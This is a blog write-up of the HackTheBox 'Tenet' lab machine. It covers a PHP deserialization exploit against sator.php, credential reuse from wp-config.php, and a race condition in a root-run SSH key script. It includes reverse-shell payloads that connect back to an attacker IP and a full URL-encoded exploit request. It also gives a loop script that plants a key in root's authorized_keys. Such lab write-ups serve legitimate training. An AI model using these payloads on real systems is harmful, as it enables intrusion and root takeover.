HackTheBox: Tenet - Writeup
Published: 2021-06-05After finishing Love, I figured I’d go straight over to Tenet, my first Medium box. It was honestly a fantastic experience, with a lot of learnings regarding things like XSS, how PHP handles objects and how important it is to not use random data. Let’s dive in.
Initial overview
Navigating to the webpage using the raw IP reveals the standard Apache webpage that you get when first setting up a server. Running nmap -A
along with --script http-enum
reveals a Wordpress installation living in /wordpress/
, but nothing else. Intuitively, we now know the following:
- There’s Wordpress, which means there is also a
wp-config.php
hosting database credentials. - There’s most likely a MySQL DB running in the background, as that is the standard configuration.
- There’s gonna be a blog with posts and usernames!
Going around the blog, we can see that it’s set to use tenet.htb
as a hostname, so let’s edit our /etc/hosts
to accomodate for that. In one blog post titled “Migration”, we can see a comment from the user Neil:
Hidden files
There’s evidently a file called sator.php
. Navigating to tenet.htb/sator.php
doesn’t work, but using the raw IP does. The only output given is two strings:
[*] Reading users from text file
[] Updating database
Not much to go on. A corresponding users.txt
exists, but that also just prints out “Success”. At this point, I was already thinking about a variety of ways to gain a foothold, but at the same time I kept thinking about “the backup” mentioned in the comment. I noticed that a POST
request is possible on the users.txt
, so I tried sending a request to the text file, reading it in afterwards using sator.php
, but nothing happened. I frequently got a HTTP 412
error code when POSTing to users.txt
, suggesting this was not the way forward.
The backup is right there
Initially, I was looking for a full Wordpress backup when I read “the backup”, but there was absolutely nothing. Neither were there any MySQL dumps laying about, perhaps a stray .sql file that could be pulled and read offline. Circling back to the comment, after a very big nudge from folks over at Discord, it finally clicked: “sator php and the backup”. It’s a backup of sator.php
! And indeed, accessing sator.php.bak
prompts a download of a file in Firefox.
Downloading and opening the file reveals the source code:
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
To understand what’s going on and how we can exploit this, let’s run through the most interesting bits:
- A GET parameter called
arepo
is queried. - The resulting input is run through
unserialize()
. - A new class
DatabaseExport
is created and the methodupdate_db()
called. - When the script is done, the
__destruct()
method of each instance ofDatabaseExport
is called.
The crucial functions we’ll need to focus on are unserialize
and __destruct
.
How (un)serialization works in PHP
The core idea behind (un)serialization is portability. Serializing a class or any other object ensures that the type and structure is not lost when unserializing at another point in time. PHP implements certain Magic Methods when (un)serializing objects. One of these magic methods can already be seen in the code, namely __destruct()
, which is called at the end of the script when all objects are destroyed.
During serialization, PHP calls the magic method __sleep()
; conversely, during unserialization, the magic method __wakeup()
is called.
An important thing to remember is that, if a serialized class is given to unserialize
, the variable now contains an instance of that class. We will see how that is useful in a second.
Exploiting unsanitized user input
There are a few ways to go about exploiting the fact that our input is not sanitized. One of my earliest attempts was to simply create my own class Inject
, implement a magic function and then serialize it:
class Inject {
public $ev = "fsockopen('10.10.17.71', 27562); exec('/bin/sh -i <&3 >&3 2>&3');";
function __wakeup() {
if (isset($this->ev)) eval($this->ev);
}
}
echo urlencode(serialize(new Inject))
For reference, this is what the serialized object looks like:
O:6:"Inject":1:{s:2:"ev";s:65:"fsockopen('LHOST', LPORT); exec('/bin/sh -i <&3 >&3 2>&3');";}
And the full call to sator.php
will look like this:
http://<IP>/sator.php?arepo=O%3A6%3A%22Inject%22%3A1%3A%7Bs%3A2%3A%22ev%22%3Bs%3A65%3A%22fsockopen%28%2710.10.17.71%27%2C+27562%29%3B+exec%28%27%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%27%29%3B%22%3B%7D
If we implement a listener with nc -lvnp LHOST LPORT
, however, we will see that nothing happens. This is because in the background, it will actually throw the following error: object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(6) "Inject"
This is the part where I learned not to use random data. Of course, sator.php
does not know about a class called Inject
, and so it won’t initialize it. This is because we’re not handing it a class definition, we’re handing it an instance of our (unknown) class. We will have to use an existing class to get our shell.
It’s all one
Let’s take another look at the already existing DatabaseExport
class. We know that there are two variables defined in the class, along with a __destruct()
function. If we create our own instance of DatabaseExport
, it will inherit the already existing methods and run them accordingly. This means that we only have to define our own user_file
and data
variable and let the __destruct()
function handle the rest; it’s guaranteed to be called by PHP when the script ends, even for our own instance.
Our class definition should look like this:
class DatabaseExport {
public $user_file = "shell.php";
public $data = "<?php $sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>";
}
Do not forget the backslashes in the $data
variable. Serialize and URL encode an instance of this class. When sending the GET request, the __destruct()
function will write the code found in $data
to the file defined in $user_file
. We can then navigate to http://<IP>/shell.php
after defining a listener and we’ve got a shell!
Check your Wordpress
Right now, we’ve got a foothold as the user www-data
. As I mentioned earlier, since this box is running Wordpress, there is guaranteed to be a wp-config.php
file with database credentials. Sure enough, there’s a database user neil
with an accompanying plaintext password. After a quick verification that the user neil
also exists on the system itself by checking the /home/
directory, we can attempt an SSH login with the same password. And it works! Goes to show that password re-use can be fatal. We’ve got the user flag.
Enumerating from Neil
Reaching straight for a script like linPEAS is usually noisy and unnecessary. Instead, let’s check obvious things first, like sudo --list
. This shows a script called EnableSSH.sh
which everyone can run as root. Peeking inside, we see the following:
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
Again, let’s look at what’s happening in this script:
- It defines an SSH public key which is to be put into
authorized_keys
. - A temporary file is generated and created with r/w permissions for everyone, plus x permission for others (tip: umask calculator).
- The previously defined key is written into the file.
checkFile
checks if the file exists.- The temporary file is read out and appended to
authorized_key
; afterwards, it is removed.
This all happens in less than 30 seconds. The interesting function here is clearly addKey
. If we are fast enough, we can “sneak in” our own public key and gain access to the root account that way.
The race is on
So what happens in detail? The command mktemp -u /tmp/ssh-XXXXXXXX
defines a template to be used during file creation. All the X are switched out with random characters. However, the command does not actually create the file yet; instead, thanks to the -u
flag, a dry-run is executed and only the file name is returned. This leads into the next line, where the file is actually created with the permissions we just highlighted. It is during the next few lines that we have to “intercept” the file, insert our own key, and let the script do the rest.
Unfortunately, we can’t just put a breakpoint in the file - we don’t have write permission. Instead, we’ll have to run our own shell script concurrently with EnableSSH.sh
in the hopes of winning this race.
To start off, let’s create our own SSH private/public key pair. I used my non-sudo account on my Kali VM and a random comment for this:
ssh-keygen -t rsa -b 4096 -C abcd
After defining the location to save the key pair and a passphrase, let’s take a look at what our shell script needs to accomplish:
- It needs to find the temporary file created by
mktemp
. - Once found, our key needs to be appended to the temporary file.
- The script should exit after the key has been written, as
EnableSSH
takes over from there.
I took a few cracks at this, with one variation using raw find
in combination with -exec
, but none of it seemed to work. Eventually, I settled on the following:
ssh="public key"
while [ true ];
do
r=$(ls /tmp/ssh*)
if [ -n "$r" ]; then
echo "$ssh" >> "$r"
break
fi
done
This script simply checks for the existence of any /tmp/ssh*
file, and once it exists, appends the previously defined SSH key and breaks. It’s by no means elegant, but it gets the job done. It does assume that only one file with ssh-anything
exists in tmp
, and it will spam a lot of error messages into the console. Suppressing those error message doesn’t work, as the return value then “gets eaten” by bash, so we lose access to the file name.
After running this script and firing up EnableSSH.sh
, we can see that our script does break, indicating a successful insertion. However, running ssh -i <keyfile> root@<IP>
still gives us a password prompt. What gives?
Do not use random data
Again, I just used random data and worked from my non-sudo account. This doesn’t work. Instead, I tried using both root@ubuntu
as a comment (-C
flag when using ssh-keygen
) and created the key from my root account on the Kali VM. I’m not sure which one of those did the trick, but I’m sure that the variation of the script using find
would’ve worked just as well had I created the correct key in the first place. Either way, with the correct key planted in the temporary file, we’ve got full access to the box and root flag!